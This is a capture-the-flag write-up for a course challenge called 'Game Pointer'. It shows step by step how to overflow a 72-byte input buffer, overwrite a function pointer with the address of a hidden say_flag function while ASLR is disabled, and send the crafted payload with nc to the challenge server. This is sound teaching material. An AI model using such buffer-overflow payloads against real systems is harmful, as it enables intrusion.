Game Pointer

Description

We have attached another file for you to crack. The file will tell you again where you have to send your input to, once you cracked it.

Note: You have to run the file with: "setarch uname -m -R ./app_compiled_64"

Solution

To run this command you need to be logged in as root, then we can run it:

[root@fedora function_pointer] setarch `uname -m` -R ./app_compiled_64
Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :> say_hi
# calling your function function, jumping to 0x555555555211
# Hi world!

And if we choose a different option:

[root@fedora function_pointer] setarch `uname -m` -R ./app_compiled_64
Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :> say_goodbye
# calling your function function, jumping to 0x55555555523f
# Goodbye world!

But with the third option:

[root@fedora function_pointer] setarch `uname -m` -R ./app_compiled_64
Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :> say_flag
# No valid action!

We can see that there are the different functions have different addresses, except for "say_flag" which is disabled.

So lets search where in the binary we can find the "say_flag" function.

objdump -d app_compiled_64
# app_compiled_64:     file format elf64-x86-64
# ...
# 00000000000011fa <say_flag>:
# ...
# 0000000000001211 <say_hi>:
# ...
# 0000000000001228 <say_hello>:
# ...

We can see the address of the functions we previously called.

Did you notice a difference in the pointer addresses?

When we executed the function "say_hi" address 0x555555555211 was printed but the objdump said it is located at at 0x0000000000001211. So there is a offset between the addresses reported by objdump and the real addresses while running the program. Keep this offset in mind, you'll need it later.

Thankfully, because we prefixed setarch uname -m -R to the binary, we disabled the ASLR feature and the offset is the same on our system and the server.

If you did run the app in a debugger e.g. gdb it is likely that ALSR is also disabled.

We do now know where we need to jump to obtain a flag, but how can we convince our program to jump to this address?

Buffer overflow

We can override the "input_buffer" and write the address of our flag function directly into the stack. First we need to know the size of the "input_buffer".

python -c "print('A' * 10 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# No valid action!

python -c "print('A' * 11 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# No valid action!

python -c "print('A' * 12 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# No valid action!

...

 python -c "print('A' * 73 )" | setarch `uname -m` -R ./app_compiled_64
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# calling your function function, jumping to 0x41
# Segmentation fault (core dumped)

With 73 "A" the program tried a jump to 0x41 (hex for "A" is 0x41), and then crashed. So the last A was interpreted as a function pointer.

With that knowledge we can now craft an input string which can jump to our flag:

  1. 72 "A" for the buffer
  2. Offset for the "real" address
  3. Address from the objdump for the say_flag function.
echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfa\x51\x55\x55\x55\x55" | setarch `uname -m` -R ./app_compiled_64 
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# calling your function function, jumping to 0x5555555551fa
# fl4g{...

And if we send it to the server:

echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfa\x51\x55\x55\x55\x55" | nc sfl.cs.tu-dortmund.de 10006
# Please choose your action (say_hi, say_hello, say_goodbye, say_flag) :>
# calling your function function, jumping to 0x5555555551fa
# fl4g{nice_address_you_jumped_to}